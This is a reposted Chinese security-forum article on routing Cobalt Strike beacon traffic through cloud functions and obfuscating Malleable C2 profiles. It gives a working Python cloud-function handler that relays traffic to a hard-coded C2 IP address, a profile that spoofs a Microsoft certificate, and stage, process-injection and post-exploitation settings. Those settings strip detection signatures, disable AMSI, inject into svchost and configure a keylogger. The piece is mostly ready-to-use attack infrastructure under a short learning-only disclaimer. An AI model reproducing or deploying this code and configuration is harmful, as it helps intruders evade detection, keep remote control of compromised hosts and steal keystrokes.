文章来源: https://forum.butian.net/share/3126
云函数
提供云函数服务商
腾讯云:https://console.cloud.tencent.com/scf/
华为云:https://developer.huawei.com/consumer/cn/agconnect/cloud-function/
百度云:https://cloud.baidu.com/product/cfc.html
移动云:https://ecloud.10086.cn/home/product-introduction/sfc
天翼云:https://www.ctyun.cn/products/hsjs
字节跳动轻服务:https://qingfuwu.cn/
AWS Lambda:https://aws.amazon.com/lambda/
Google Firebase:https://firebase.google.com/
Azure Function:https://azure.microsoft.com/en-us/services/functions/
利用场景
2、域名白名单出网上线
第一步
第二步
# -*- coding: utf-8 -*-
# def handler(event, context):
# return "Hello World"
import json,requests,base64
def handler(event, context):
C2='<https://110.40.213.80:443>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
#return event
return response
Profile混淆
#这是一个简单的模板
###global options###
set sleeptime "10000"; # 睡眠时间,单位ms,可选择长一点
set jitter "0"; # 睡眠抖动时间,百分比0-99
#set host_stage "false"; # 设置所有的Payload都为Stageless,提高安全性
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0";
###SSL Options###
#https-certificate {
#set keystore "your_store_file.store";
#set password "your_store_pass";
#}
https-certificate {
set C "US"; # 单位的两字母国家代码
set CN "Microsoft IT TLS CA 2"; # 通用名称
set L "Redmond"; # 城市或区域名称
set O "Microsoft Corporation"; # 组织名称
set OU "Microsoft IT"; # 组织单位名称
set ST "Washington"; # 州或省份名称
set validity "365";
}
##CODE-SIGNER Block###
code-signer{
# 用于签名 Windows Executable and Windows Executable (S),确保Payload一致性
set keystore "cobaltstrike1.store";
set password "password";
set alias "certificate";
}
###HTTP-GET Block###
http-get {
set uri "/login /config /admin /history"; # 自定义多个url请求路径,以空格相隔
# GET请求头部
client {
# header "Host" "www.xxxx.com";
header "Accept" "*/*";
header "Accept-Language" "en-US";
header "Connection" "close";
metadata {
netbiosu; # netbios(大写)编码
append ".php"; # 追加参数内容尾缀
parameter "file"; # 将内容放在新增的url参数中
#prepend "user="; # 追加参数内容前缀
#header "Cookie"; # 添加到HTTP Cookie头中
}
}
server {
# 该GET请求返回包头部
header "Content-Type" "text/plain";
output {
base64; # 将内容base64编码传回
print; # 将内容输出于HTTP Body中
}
}
}
###HTTP-Post Block###
http-post {
set uri "/page= /index="; # 不能与http-get的url请求路径完全相同
# POST请求头部
client {
# header "Host" "www.baidu.com";
header "Accept" "*/*";
header "Accept-Language" "en";
header "Connection" "close";
id {
netbios;
append ".php";
uri-append; # 追加到url末尾
}
output {
base64;
print;
}
}
server {
output {
base64;
print;
}
}
}
-
全局选项:这是一些设置C2服务器的基本参数的选项,比如设置使用的SSL证书文件,设置服务器端口等。 -
http-stager:这部分设置用于控制使用HTTP或HTTPS协议的stager的行为。比如,可以设置User-Agent、URI、POST请求的数据格式等。 -
http-get:这部分设置用于控制Beacon从C2服务器获取任务时发送的HTTP GET请求的格式。 -
http-post:这部分设置用于控制Beacon向C2服务器发送数据时发送的HTTP POST请求的格式。 -
metadata:这部分设置用于控制Beacon和C2服务器交换的元数据的格式。
流量侧
wireshark
burpsuite(本地证书)
return-1},P="
后内容心跳
主机侧
stage标签
//设置执行反射dll所分配的内存属性,true为RWX,false为RX
set userwx "false";
//设置true后,会抹去存放在内存中的反射DLL
set cleanup "true";
//设置为true时,Beacon会加入一段加解密函数,会对数据和代码进行异或加密,3.11版本是单字节异或,4.2版本是13字节异或。
set sleep_mask "true";
//设置为true时能对MZ、PE和e_lfanew的值进行混淆,这样能使根据MZ等关键字的内存匹配失效
set stomppe "true";
//设置为true时,能混淆dll的导入表、区段名等信息
set obfuscate "true";
//开启智能注入,尝试避免在注入Beacon时引起异常
set smartinject "true";
//设置内存分配器的类型,默认的内存分配器 VirtualAlloc,可以选择使用 HeapAlloc 或 MapViewOfFile 来替代。
set allocator "VirtualAlloc";
//从文件静态特征上做混淆
//设置PE头部的校验和
set checksum "0";
//设置PE、DLL程序编译时间
set compile_time "11 Nov 2014 06:18:30";
//设置PE头部的入口点
set entry_point "650688";
// 设置PE头部的图像大小(x86)
set image_size_x86 "4661248";
//设置PE头部的图像大小(x64)
set image_size_x64 "4661248";
//设置PE头部的名称
set name "srv.dll";
//定义用于替换Beacon反射性DLL的PE头的自定义字节
set magic_pe "LE";
//设置用于替换Beacon反射性DLL的Rich Header的自定义字节
set rich_header "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
//transform-x86和transform-x64标签,strrep标签中主要是修改替换反射dll中的固定字符,以防止被文件静态特征所匹配
transform-x86 {
prepend "\x90\x90\x90";
strrep "ReflectiveLoader" "";
strrep "beacon.dll" "";
strrep "This program cannot be run in DOS mode" "";
}
......
process-inject标签
以下代码是Cobalt Strike配置中进程注入部分的设置,定义了Cobalt Strike如何在远程进程中注入和执行代码。
-
设置使用VirtualAllocEx函数为远程进程分配内存 -
内存分配的最小值设为7814字节 -
指定新分配的内存区域不应该具有读、写和执行(RWX)权限 -
允许在分配和写入载荷之前,内存区域具有读、写和执行(RWX)权限 -
在注入的代码前添加了几个NOP(无操作)指令,避免某些防御机制的检测 -
定义了多种在远程进程中执行代码的方法,提供进程注入的灵活性,更难被防御措施检测 process-inject {
// 设置远程内存分配技术
set allocator "VirtualAllocEx";// 形状注入内容和属性
set min_alloc "7814"; //# 设置内存分配的最小值为7814字节
set userwx "false"; // 分配的内存不应具有读、写和执行(RWX)权限
set startrwx "false"; // 注入代码前,内存不应被设置为具有读、写和执行(RWX)权限transform-x86 {
// 在注入的代码前添加 NOP (无操作)指令
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // NOP, NOP!
}transform-x64 {
// 在注入的代码前添加 NOP (无操作)指令
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // NOP, NOP!
}// 指定在远程进程中执行代码的方法
execute {
CreateThread "ntdll.dll!RtlUserThreadStart+0x2285"; // 使用CreateThread函数执行代码
NtQueueApcThread-s; // 使用NtQueueApcThread-s函数执行代码
SetThreadContext; // 使用SetThreadContext函数执行代码
CreateRemoteThread; // 使用CreateRemoteThread函数执行代码
CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000"; // 使用CreateRemoteThread函数并偏移执行代码
RtlCreateUserThread; // 使用RtlCreateUserThread函数执行代码
}
}
post-ex标签
post-ex {
// 控制我们产生的临时进程。Beacon将产生一个临时进程,将shellcode注入其中,并让新的进程执行这个shellcode。
set spawnto_x86 "%windir%\\syswow64\\svchost.exe"; // 对于32位payloads
set spawnto_x64 "%windir%\\sysnative\\svchost.exe"; // 对于64位payloads
// 改变我们的post-ex DLLs的权限和内容。此设置启用对Beacon用于post-ex任务的DLLs(如键盘记录或令牌操作)的混淆。
set obfuscate "true";
// 更改我们的post-ex输出命名管道名称。此设置允许控制Beacon用于从作业中检索输出的命名管道。
set pipename "srvsvc-1-5-5-0####";
// 将关键函数指针从Beacon传递到其子作业。启用smart注入将使Beacon将带有关键函数指针的数据结构传递给其post-ex作业。
set smartinject "true";
// 允许多线程post-ex DLLs产生带有伪装起始地址的线程。
// set thread_hint "module!function+0x##";
// 在powerpick、execute-assembly和psinject中禁用AMSI。此选项将会在目标进程中修补AMSI。
set amsi_disable "true";
// 控制用于记录键盘击键的方法
set keylogger "SetWindowsHookEx";
}
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):云函数利用&Profile混淆
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论